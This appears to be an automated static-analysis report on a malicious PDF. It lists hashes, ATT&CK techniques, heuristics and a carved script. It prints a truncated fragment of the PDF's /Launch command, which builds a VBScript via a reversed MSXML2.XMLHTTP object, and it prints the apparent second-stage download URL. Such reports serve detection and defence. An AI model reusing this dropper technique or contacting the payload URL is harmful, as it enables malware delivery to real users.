Malicious PDF — malware analysis report

Static analysis result for SHA-256 8a140a8614d079d3…

MALICIOUS

PDF

780 B
MD5: e3fb614420b89f8a4f5c2e68bce3fb07 SHA-1: 00336838080aec3bb731d6f6fe4e946ffe70845c SHA-256: 8a140a8614d079d37ef3b64754932fad539bb9e3d6ea3d9714fa31ba0b55affc
150 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The PDF file contains a launch action that executes the command line 'cmd /c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM" "Scripting.FileSystemObject" A.GetSpecialFolder(2 "WScript.Shell" 2'. This command appears to be constructing and executing a VBScript, likely to download and run a second-stage payload from the embedded URL http://querd.in/x/img.php?d=1. The ML classifier strongly supports the malicious nature of this PDF.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://querd.in/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes